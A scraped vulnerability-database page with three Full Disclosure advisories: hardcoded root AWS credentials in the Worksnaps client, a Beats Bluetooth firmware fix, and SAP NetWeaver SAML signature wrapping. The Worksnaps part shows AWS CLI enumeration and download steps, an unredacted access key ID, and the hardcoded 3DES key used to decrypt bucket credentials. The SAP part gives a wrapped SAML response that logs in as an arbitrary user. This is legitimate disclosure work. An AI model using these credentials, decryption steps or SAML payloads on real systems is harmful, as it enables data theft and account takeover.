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GCVE-1988-2026-0355
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
SEC Consult SA-20260618-0 :: Hardcoded Root Cloud Credentials in Application Binaries in Silver Leaf Technologies - Worksnaps.net Worksnaps
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260618-0 >
=======================================================================
title: Hardcoded Root Cloud Credentials in Application Binaries
product: Silver Leaf Technologies - Worksnaps.net Worksnaps
vulnerable version: <1.6.20260201
fixed version: 1.6.20260201
CVE number: CVE-2025-10560
impact: critical
homepage:https://www.worksnaps.net
found: 2025-05-21
by: Thorger Jansen (Office Bochum)
Daniel Hirschberger
Tobias Niemann (Office Bochum)
Marius Renner (Office Bochum)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"We are a small company with strong entrepreneurial spirit. We are here to
provide a different way of time tracking, specifically designed for remote
work. We believe in small teams, solid development and great design. We believe
that no business is too small to serve."
"Worksnaps is a time-tracking system which enable verification of time and
work. By using Worksnaps Client, a program running on users' desktop, the
users' work activities are sampled and sent to the server. We call them
"worksnaps".
Source:https://www.worksnaps.net/www/index.shtml
Source:https://alternativeto.net/software/worksnaps/about/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately. The
vendor also implemented server-side fixes to remediate some identified
issues.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
Several application binaries contained hardcoded credentials, such as AWS access
keys and S3 bucket names, which granted access to the production environment.
Those hardcoded AWS cloud credentials in the Worksnaps client gave an
attacker complete access the Worksnaps AWS infrastructure as AWS root
account. An attacker got access to S3 buckets with sensitive data, such as
screenshots of user desktops.
Proof of concept:
-----------------
1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)
After installing the application, there are various binaries in
"C:\Program Files (x86)\Worksnaps".
Several of those binaries can be analyzed by using the "ILSpy" tool and
contain valid credentials.
For example the binary procUploadDirect.net45.v2.exe contains the following
AWS Credentials:
--------------------------------------------------------------------------------
private const string DEFAULT_AWS_ACCESS_KEY = "[REDACTED]";
private const string DEFAULT_AWS_SECRET_KEY = "[REDACTED]";
private const string DEFAULT_REGION_NAME = "USEast1";
private const string BUCKET_NAME = "bbbb_hyoung";
private static string TEMP_BUCKET_NAME = "temp-prod";
private static string PERM_BUCKET_NAME_FULL = "perm-prod";
private static string PERM_BUCKET_NAME_THUMB = "perm-prod2";
private static RegionEndpoint Region = RegionEndpoint.USEast1;
--------------------------------------------------------------------------------
Using these credentials several AWS actions could be performed by an attacker.
First, the identity of the caller can be retrieved with the command
"aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "227929[REDACTED]",
"Account": "227929[REDACTED]",
"Arn": "arn:aws:iam::227929[REDACTED]:root"
}
--------------------------------------------------------------------------------
This shows that the credentials in use are valid and it provides key details
about the AWS identity, including the Account ID, User ID, and ARN (Amazon
Resource Name) of the entity making the call.
Then, all S3 buckets can be listed with the command "aws s3api list-buckets":
--------------------------------------------------------------------------------
$ aws s3api list-buckets
{
"Buckets": [
{
"Name": "aws-cloudtrail-logs-[REDACTED]-ssfull",
"CreationDate": "2022-12-11T06:27:46+00:00"
},
[...]
--------------------------------------------------------------------------------
This shows that the credentials in use have sufficient permissions (typically
s3:ListAllMyBuckets) to enumerate all S3 buckets associated with the AWS
account. The output will include the names and creation dates of each bucket,
which can help identify targets of interest for further enumeration or data
access.
Also, by using the command "describe-instances" an attacker can retrieve
detailed information about all EC2 instances in the account:
--------------------------------------------------------------------------------
$ aws ec2 describe-instances
{
"Reservations": [
{
"ReservationId": "[REDACTED]",
"OwnerId": "227929[REDACTED]",
"Groups": [],
"Instances": [
{
"Architecture": "x86_64",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/xvda",
"Ebs": {
"AttachTime": "2019-05-28T02:39:54+00:00",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "[REDACTED]61769"
}
}
],
[...]
--------------------------------------------------------------------------------
This shows that the credentials in use have the ec2:DescribeInstances permission,
allowing the enumeration of instance metadata such as instance IDs, public and
private IP addresses, and more.
Finally, by using "aws s3 cp" an attacker could attempt to copy objects from a
target S3 bucket to their local system. In this case one of the generated
screenshots is directly fetched from the S3 bucket instead of the web
interface. Note: SEC Consult only requested data from our own associated
accounts. No data of other customers was accessed.
--------------------------------------------------------------------------------
$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg
download: s3://ssfull-prod/screen_754275513.jpg to ./output.jpg
--------------------------------------------------------------------------------
This shows that the credentials in use have sufficient permissions (typically
s3:GetObject) to read and download data from the buckets. Since the buckets
potentially contain sensitive files, this can lead to significant data
exfiltration.
UCloud credentials were also discovered alongside the AWS credentials.
However, their validity has not been verified:
--------------------------------------------------------------------------------
public static string UCLOUD_PROXY_SUFFIX = ".cn-sh2.ufileos.com";
public static string UCLOUD_PUBLIC_KEY = "[REDACTED]";
public static string UCLOUD_PRIVATE_KEY = "[REDACTED]";
public static string UCLOUD_WORKCARD_BUCKET = "workcard2";
public static string UCLOUD_WORKCARD_BUCKET_FULL = "workcardssfull-dev04";
public static string UCLOUD_WORKCARD_BUCKET_SMALL =
"workcardssrepository-dev04";
--------------------------------------------------------------------------------
Update 2026-01-30
-----------------
The vendor told us on 2025-12-12 that a new version of the client is available
on the website. On 2026-01-30 we downloaded version 1.6.20251206 of the client
to re-check the vulnerability.
The originally reported hardcoded AWS cloud credentials were removed from the
binary. The original credentials had also been revoked. There still are
hardcoded credentials present in the application binaries, but they provide a
lower level of access. The following AWS credentials were extracted from
UploadTracker.exe:
--------------------------------------------------------------------------------
public const string S3_AccessKey = "AKIAYL45N6SALVDBTCUQ";
public const string S3_SecreKey = "[REDACTED]"
--------------------------------------------------------------------------------
The identity associated with the credentials can be retrieved with the command
"aws sts get-caller-identity":
--------------------------------------------------------------------------------
$ aws sts get-caller-identity
{
"UserId": "575318914176",
"Account": "575318914176",
"Arn": "arn:aws:iam::575318914176:root"
}
--------------------------------------------------------------------------------
SEC Consult did not perform a detailed assessment of the level of permissions
of these new credentials. However, at the very least, these credentials do not
provide access to the originally discovered S3 buckets with all screenshot
data.
The client application now retrieves AWS credentials for the S3 screenshot
buckets from the Worksnaps server after logging in. The following code block
shows the login request:
--------------------------------------------------------------------------------
POST /mys3/dispatcher.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Worksnaps Client (Windows)
Host:www.worksnaps.net
[...]
action=login&type=windows&username=[REDACTED]&mytime=3201&version=1.6&build=Build+1%2E6%2E20251206&token=[REDACTED]&branding=worksnaps&computername=[REDACTED]&os=W+Version+6%2E2%2E9200+&multiupload=1&use_urlencode=1&username2=[REDACTED]
--------------------------------------------------------------------------------
The server responds with the following response data. Note the bucketKey and
bucketKey2 fields, which contain encrypted AWS credentials.
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Server: Apache/2.4.62 (Unix) OpenSSL/1.1.1k
X-Powered-By: PHP/5.6.37
[...]
statuscode=1&sessionkey=[REDACTED]&userid=[REDACTED]&login=[REDACTED]&servertime=1769505670&timediff=1769502469&lb_url=&project=&use_activitytracker=0&use_uploadtracker=0&screenfilter=&appnamefilter=&cachetime=180&capturetimeout=20&directupload=1&directupload_ver=2&uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php&bucketKey=[REDACTED
encrypted bucket key 1]&bucketKey2=[REDACTED encrypted bucket key
2]&bucketName0=sstemp-prod&bucketName1=ssfull-prod&bucketName2=ssrepository-prod&testmode=0&auth_method=token&debug=0&firstslotprobability=-1&httptype=std&sysmessage_title=&sysmessage_body=&sysmessage_shutdown=
--------------------------------------------------------------------------------
The encrypted bucketKey can be easily decrypted by extracting the decryption
algorithm and corresponding 3DES encryption key from the client binary
procUploadDirect.net45.v2.exe using a .NET assembly inspector such as ILSpy:
--------------------------------------------------------------------------------
private static string WORKWELL = "workwell";
private static string AMAZON = "AMAZON";
private static string SUFFIX = "@P66668888";
public static string Decrypt(string input)
{
string text = TripleDESEncryption.WORKWELL
+ TripleDESEncryption.AMAZON
+ TripleDESEncryption.SUFFIX;
string workwell = TripleDESEncryption.WORKWELL;
TripleDES tripleDES = TripleDES.Create();
tripleDES.IV = Encoding.ASCII.GetBytes(workwell);
tripleDES.Key = Encoding.ASCII.GetBytes(text);
tripleDES.Mode = CipherMode.CBC;
tripleDES.P
Severity
No CVSS data available.
Assigner
References
17 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Silver Leaf Technologies - Worksnaps.net Worksnaps |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0355 (this record)
- related CVE-2025-10560
{
"containers": {
"cna": {
"affected": [
{
"product": "Silver Leaf Technologies - Worksnaps.net Worksnaps",
"vendor": "unknown",
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}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
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{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260618-0 \u003e\n=======================================================================\n title: Hardcoded Root Cloud Credentials in Application Binaries\n product: Silver Leaf Technologies - Worksnaps.net Worksnaps\n vulnerable version: \u003c1.6.20260201\n\u00a0 \u00a0 \u00a0 fixed version: 1.6.20260201\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-10560\n impact: critical\n homepage:https://www.worksnaps.net\n found: 2025-05-21\n by: Thorger Jansen (Office Bochum)\n Daniel Hirschberger\n Tobias Niemann (Office Bochum)\n Marius Renner (Office Bochum)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We are a small company with strong entrepreneurial spirit. We are here to\nprovide a different way of time tracking, specifically designed for remote\nwork. We believe in small teams, solid development and great design. We believe\nthat no business is too small to serve.\"\n\"Worksnaps is a time-tracking system which enable verification of time and\nwork. By using Worksnaps Client, a program running on users\u0027 desktop, the\nusers\u0027 work activities are sampled and sent to the server. We call them\n\"worksnaps\".\n\nSource:https://www.worksnaps.net/www/index.shtml\nSource:https://alternativeto.net/software/worksnaps/about/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately. The\nvendor also implemented server-side fixes to remediate some identified\nissues.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)\nSeveral application binaries contained hardcoded credentials, such as AWS access\nkeys and S3 bucket names, which granted access to the production environment.\n\nThose hardcoded AWS cloud credentials in the Worksnaps client gave an\nattacker complete access the Worksnaps AWS infrastructure as AWS root\naccount. An attacker got access to S3 buckets with sensitive data, such as\nscreenshots of user desktops.\n\n\nProof of concept:\n-----------------\n1) Hardcoded Cloud Credentials in Application Binaries (CVE-2025-10560)\nAfter installing the application, there are various binaries in\n\"C:\\Program Files (x86)\\Worksnaps\".\n\nSeveral of those binaries can be analyzed by using the \"ILSpy\" tool and\ncontain valid credentials.\n\nFor example the binary procUploadDirect.net45.v2.exe contains the following\nAWS Credentials:\n--------------------------------------------------------------------------------\nprivate const string DEFAULT_AWS_ACCESS_KEY = \"[REDACTED]\";\nprivate const string DEFAULT_AWS_SECRET_KEY = \"[REDACTED]\";\nprivate const string DEFAULT_REGION_NAME = \"USEast1\";\nprivate const string BUCKET_NAME = \"bbbb_hyoung\";\nprivate static string TEMP_BUCKET_NAME = \"temp-prod\";\nprivate static string PERM_BUCKET_NAME_FULL = \"perm-prod\";\nprivate static string PERM_BUCKET_NAME_THUMB = \"perm-prod2\";\nprivate static RegionEndpoint Region = RegionEndpoint.USEast1;\n--------------------------------------------------------------------------------\n\nUsing these credentials several AWS actions could be performed by an attacker.\n\nFirst, the identity of the caller can be retrieved with the command\n\"aws sts get-caller-identity\":\n--------------------------------------------------------------------------------\n$ aws sts get-caller-identity\n{\n \"UserId\": \"227929[REDACTED]\",\n \"Account\": \"227929[REDACTED]\",\n \"Arn\": \"arn:aws:iam::227929[REDACTED]:root\"\n}\n--------------------------------------------------------------------------------\n\nThis shows that the credentials in use are valid and it provides key details\nabout the AWS identity, including the Account ID, User ID, and ARN (Amazon\nResource Name) of the entity making the call.\n\nThen, all S3 buckets can be listed with the command \"aws s3api list-buckets\":\n--------------------------------------------------------------------------------\n$ aws s3api list-buckets\n{\n \"Buckets\": [\n {\n \"Name\": \"aws-cloudtrail-logs-[REDACTED]-ssfull\",\n \"CreationDate\": \"2022-12-11T06:27:46+00:00\"\n },\n[...]\n--------------------------------------------------------------------------------\n\nThis shows that the credentials in use have sufficient permissions (typically\ns3:ListAllMyBuckets) to enumerate all S3 buckets associated with the AWS\naccount. The output will include the names and creation dates of each bucket,\nwhich can help identify targets of interest for further enumeration or data\naccess.\n\nAlso, by using the command \"describe-instances\" an attacker can retrieve\ndetailed information about all EC2 instances in the account:\n\n--------------------------------------------------------------------------------\n$ aws ec2 describe-instances\n{\n \"Reservations\": [\n {\n \"ReservationId\": \"[REDACTED]\",\n \"OwnerId\": \"227929[REDACTED]\",\n \"Groups\": [],\n \"Instances\": [\n {\n \"Architecture\": \"x86_64\",\n \"BlockDeviceMappings\": [\n {\n \"DeviceName\": \"/dev/xvda\",\n \"Ebs\": {\n \"AttachTime\": \"2019-05-28T02:39:54+00:00\",\n \"DeleteOnTermination\": true,\n \"Status\": \"attached\",\n \"VolumeId\": \"[REDACTED]61769\"\n }\n }\n ],\n[...]\n--------------------------------------------------------------------------------\n\nThis shows that the credentials in use have the ec2:DescribeInstances permission,\nallowing the enumeration of instance metadata such as instance IDs, public and\nprivate IP addresses, and more.\n\nFinally, by using \"aws s3 cp\" an attacker could attempt to copy objects from a\ntarget S3 bucket to their local system. In this case one of the generated\nscreenshots is directly fetched from the S3 bucket instead of the web\ninterface. Note: SEC Consult only requested data from our own associated\naccounts. No data of other customers was accessed.\n\n--------------------------------------------------------------------------------\n$ aws s3 cp s3://ssfull-prod/screen_754275513.jpg output.jpg\ndownload: s3://ssfull-prod/screen_754275513.jpg to ./output.jpg\n--------------------------------------------------------------------------------\n\nThis shows that the credentials in use have sufficient permissions (typically\ns3:GetObject) to read and download data from the buckets. Since the buckets\npotentially contain sensitive files, this can lead to significant data\nexfiltration.\n\nUCloud credentials were also discovered alongside the AWS credentials.\nHowever, their validity has not been verified:\n\n--------------------------------------------------------------------------------\npublic static string UCLOUD_PROXY_SUFFIX = \".cn-sh2.ufileos.com\";\npublic static string UCLOUD_PUBLIC_KEY = \"[REDACTED]\";\npublic static string UCLOUD_PRIVATE_KEY = \"[REDACTED]\";\npublic static string UCLOUD_WORKCARD_BUCKET = \"workcard2\";\npublic static string UCLOUD_WORKCARD_BUCKET_FULL = \"workcardssfull-dev04\";\npublic static string UCLOUD_WORKCARD_BUCKET_SMALL =\n\"workcardssrepository-dev04\";\n--------------------------------------------------------------------------------\n\n\nUpdate 2026-01-30\n-----------------\nThe vendor told us on 2025-12-12 that a new version of the client is available\non the website. On 2026-01-30 we downloaded version 1.6.20251206 of the client\nto re-check the vulnerability.\n\nThe originally reported hardcoded AWS cloud credentials were removed from the\nbinary. The original credentials had also been revoked. There still are\nhardcoded credentials present in the application binaries, but they provide a\nlower level of access. The following AWS credentials were extracted from\nUploadTracker.exe:\n\n--------------------------------------------------------------------------------\npublic const string S3_AccessKey = \"AKIAYL45N6SALVDBTCUQ\";\npublic const string S3_SecreKey = \"[REDACTED]\"\n--------------------------------------------------------------------------------\n\nThe identity associated with the credentials can be retrieved with the command\n\"aws sts get-caller-identity\":\n\n--------------------------------------------------------------------------------\n$ aws sts get-caller-identity\n{\n \"UserId\": \"575318914176\",\n \"Account\": \"575318914176\",\n \"Arn\": \"arn:aws:iam::575318914176:root\"\n}\n--------------------------------------------------------------------------------\n\nSEC Consult did not perform a detailed assessment of the level of permissions\nof these new credentials. However, at the very least, these credentials do not\nprovide access to the originally discovered S3 buckets with all screenshot\ndata.\n\nThe client application now retrieves AWS credentials for the S3 screenshot\nbuckets from the Worksnaps server after logging in. The following code block\nshows the login request:\n\n--------------------------------------------------------------------------------\nPOST /mys3/dispatcher.php HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Worksnaps Client (Windows)\nHost:www.worksnaps.net\n[...]\n\naction=login\u0026type=windows\u0026username=[REDACTED]\u0026mytime=3201\u0026version=1.6\u0026build=Build+1%2E6%2E20251206\u0026token=[REDACTED]\u0026branding=worksnaps\u0026computername=[REDACTED]\u0026os=W+Version+6%2E2%2E9200+\u0026multiupload=1\u0026use_urlencode=1\u0026username2=[REDACTED]\n--------------------------------------------------------------------------------\n\nThe server responds with the following response data. Note the bucketKey and\nbucketKey2 fields, which contain encrypted AWS credentials.\n\n--------------------------------------------------------------------------------\nHTTP/1.1 200 OK\nServer: Apache/2.4.62 (Unix) OpenSSL/1.1.1k\nX-Powered-By: PHP/5.6.37\n[...]\n\nstatuscode=1\u0026sessionkey=[REDACTED]\u0026userid=[REDACTED]\u0026login=[REDACTED]\u0026servertime=1769505670\u0026timediff=1769502469\u0026lb_url=\u0026project=\u0026use_activitytracker=0\u0026use_uploadtracker=0\u0026screenfilter=\u0026appnamefilter=\u0026cachetime=180\u0026capturetimeout=20\u0026directupload=1\u0026directupload_ver=2\u0026uploadurl=http://upload.worksnaps.com/mys3/prod_uploadworksnapscom/u_agent.php|http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php\u0026bucketKey=[REDACTED\n encrypted bucket key 1]\u0026bucketKey2=[REDACTED encrypted bucket key \n2]\u0026bucketName0=sstemp-prod\u0026bucketName1=ssfull-prod\u0026bucketName2=ssrepository-prod\u0026testmode=0\u0026auth_method=token\u0026debug=0\u0026firstslotprobability=-1\u0026httptype=std\u0026sysmessage_title=\u0026sysmessage_body=\u0026sysmessage_shutdown=\n--------------------------------------------------------------------------------\n\nThe encrypted bucketKey can be easily decrypted by extracting the decryption\nalgorithm and corresponding 3DES encryption key from the client binary\nprocUploadDirect.net45.v2.exe using a .NET assembly inspector such as ILSpy:\n\n--------------------------------------------------------------------------------\nprivate static string WORKWELL = \"workwell\";\nprivate static string AMAZON = \"AMAZON\";\nprivate static string SUFFIX = \"@P66668888\";\n\npublic static string Decrypt(string input)\n{\n\u2003\u2003string text = TripleDESEncryption.WORKWELL\n + TripleDESEncryption.AMAZON\n + TripleDESEncryption.SUFFIX;\n\u2003\u2003string workwell = TripleDESEncryption.WORKWELL;\n\u2003\u2003TripleDES tripleDES = TripleDES.Create();\n\u2003\u2003tripleDES.IV = Encoding.ASCII.GetBytes(workwell);\n\u2003\u2003tripleDES.Key = Encoding.ASCII.GetBytes(text);\n\u2003\u2003tripleDES.Mode = CipherMode.CBC;\n\u2003\u2003tripleDES.P"
}
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"url": "http://apac.worksnaps.com/mys3/prod_apacworksnapscom/u_agent.php\u0026bucketKey=[REDACTED"
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"url": "https://worksnaps.freshdesk.com/support/tickets/new"
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"discovery": "EXTERNAL"
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"title": "SEC Consult SA-20260618-0 :: Hardcoded Root Cloud Credentials in Application Binaries in Silver Leaf Technologies - Worksnaps.net Worksnaps",
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GCVE-1988-2026-0361
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
APPLE-SA-06-16-2026-1 Beats Firmware Update 1B211
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
APPLE-SA-06-16-2026-1 Beats Firmware Update 1B211
Beats Firmware Update 1B211 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/en-us/127557.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
Bluetooth
Available for: Beats Studio Buds
Impact: An attacker within Bluetooth range may be able to listen through
the microphone of a device which is not yet paired and actively seeking
pair requests
Description: This is a vulnerability in open source code and Apple
Software is among the affected projects. The CVE-ID was assigned by a
third party. Learn more about the issue and CVE-ID at cve.org.
CVE-2025-20701: Dennis Heinze and Frieder Steinmetz of ERNW GmbH
Firmware updates are automatically delivered while your headphones
are paired with and in Bluetooth range of your iPhone, iPad, or Mac.
You can check the firmware version of your wireless headphones in
Bluetooth settings on your device. On iPhone or iPad, go to
Settings > Bluetooth. On Mac, go to System Settings > Bluetooth.
Then tap the info button next to your headphones.
Learn more about firmware updates for Beats at
https://support.apple.com/102368
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | APPLE-SA-06-16-2026-1 Beats Firmware |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0361 (this record)
- related CVE-2025-20701
{
"containers": {
"cna": {
"affected": [
{
"product": "APPLE-SA-06-16-2026-1 Beats Firmware",
"vendor": "unknown",
"versions": [
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"status": "affected",
"version": "unknown"
}
]
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GCVE-1988-2026-0349
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:29
VLAI
EPSS
VEX
Title
[SYSS-2026-004] SAP NetWeaver SAML XML Signature Wrapping
Summary
Advisory ID: SYSS-2026-004
Product: SAP NetWeaver ABAP / SAP_BASIS
Manufacturer: SAP SE
Affected Version(s): SAP_BASIS 700 - 918
Tested Version(s): 7.93 Patch 300
Vulnerability Type: CWE-347: Improper Verification of Cryptographic Signature
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2025-11-06
Solution Date: 2026-02-10
Public Disclosure: 2026-06-08
CVE Reference: CVE-2026-23687
Author of Advisory: Moritz Bechler, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
SAP NetWeaver is the software stack powering SAP's business applications,
including S4/HANA.
The manufacturer describes the product as follows (see [1]):
"SAP NetWeaver provides an open integration and application platform and
facilitates the implementation of the Enterprise Services Architecture.
You can standardize business processes across technological boundaries,
integrate applications for your employees as required, and access and edit
simple information easily and in a structured manner.
[...]
SAP NetWeaver is the basis for SAP solutions."
SAML response validation in NetWeaver's SAML Service Provider is susceptible
to XML Signature wrapping attacks, specifically through Signature/Object tags.
This allows an attacker to manipulate SAML assertion data returned by the
identity provider, therefore enabling logging in as an arbitrary user.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
In SAML authentication responses, the SAML assertion/user identity attributes
are cryptographically signed by the identity provider using the XML Signature
(XMLDSig) standard. In web single sign-on contexts, the SAML response is
passed through the authenticating user's browser and therefore very susceptible
to modification.
When verifying a specially crafted SAML response, the SAMP service provider
implementation verifies the signature over one part of the XML document while
using information from another element to identify the authenticated user.
Providing original, legitimate information from any valid SAML response in
the first part and the corresponding signature, along with a manipulated
alternative part, authentication to the SAP system as an arbitrary
SAML-enabled / mapped user is possible.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
A typical (non-encrypted, assertion signing) SAML response will have a structure
like the following (various irrelevant elements are removed for brevity):
<samlp:Response>
<Assertion ID="MyID">
<Signature>
<SignedInfo>
<Reference URI="#MyID">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"; />
<DigestValue>[...]</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>[...]</SignatureValue>
<KeyInfo>
<X509Data><X509Certificate>[...]</X509Certificate></X509Data>
</KeyInfo>
</Signature>
<Subject><...></Subject>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name";>
<AttributeValue>originaluser@mydomain.example</AttributeValue>
</Attribute>
<...>
</AttributeStatement>
</Assertion>
</samlp:Response>
The XML Signature specification is very flexible (read: complex), leaving
significant room for ambiguities and implementation errors. Apart from
referencing the data to be signed/verified through the <Reference> element,
the signed data can also be directly included in the <Signature> element
through an <Object> tag (see [4]).
Doing so is fully specified and conformant with the XML schema.
Transforming the SAML response to use the <Object> syntax yields the following:
<samlp:Response>
<Assertion ID="MyID">
<Signature>
<SignedInfo>
<Reference URI="#MyID">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"; />
<DigestValue>[...]</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>[...]</SignatureValue>
<KeyInfo>
<X509Data><X509Certificate>[...]</X509Certificate></X509Data>
</KeyInfo>
<Object>
<Assertion ID="MyID">
<Subject><...></Subject>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name";>
<AttributeValue>originaluser@mydomain.example</AttributeValue>
</Attribute>
<...>
</AttributeStatement>
</Assertion>
</Object>
</Signature>
<Subject><...></Subject>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name";>
<AttributeValue>myadmin@mydomain.example</AttributeValue>
</Attribute>
<...>
</AttributeStatement>
</Assertion>
</samlp:Response>
This is a well-known and published attack vector against XML signatures.
A graphical representation of this transformation is given in [5], also
the Burp SAML Raider extension provides a convenient way to execute the
attack (XSW8).
As the signed elements have not changed, the XML Signature element is still
valid and can be verified. The XML Signature implementation used in NetWeaver
now calculates the hash value for verification of the signature over the
<Object> element's contents.
Now, the original copy of the data within the outer <Assertion> element
can be modified without invalidating the signature, and this is the
information extracted and used by NetWeaver to determine the identity of
the authenticated SAP user.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Apply vendor patch: SAP note 3697567.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2025-10-23: Vulnerability discovered
2025-11-06: Vulnerability reported to vendor
2025-11-10: Vendor unable to reproduce the vulnerability, requesting
additional diagnostics
2025-12-10: Reproduction with assistance of a generous customer
2025-12-12: Diagnostics provided to vendor
2025-12-18: Vendor responded to diagnostics with: "system reaction is as
expected, no security issue"
2025-12-18: Disputed this assessment
2026-01-08: Requested status from vendor
2026-01-08: Vendor confirmed vulnerability
2026-02-10: Vendor released patch
2026-06-08: Public disclosure of vulnerability (delayed on vendor's request)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] SAP NetWeaver documentation
https://help.sap.com/doc/saphelp_em900/9.0/en-US/ca/6fbd35746dbd2de10000009b38f889/frameset.htm
[2] SySS Security Advisory SYSS-2026-004
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] XML Signature Syntax and Processing Version 1.1
https://www.w3.org/TR/xmldsig-core1/#sec-Object
[5] Burp SAML Raider extension documentation, tree representation of signature
wrapping techniques
https://github.com/CompassSecurity/SAMLRaider/blob/master/src/main/resources/xswlist.png
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Moritz Bechler of SySS GmbH.
E-Mail: moritz.bechler () syss de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc
Key ID: 0x768EFE2BB3E53DDA
Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
13 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Sap | NetWeaver ABAP / SAP_BASIS |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0349 (this record)
- related CVE-2026-23687
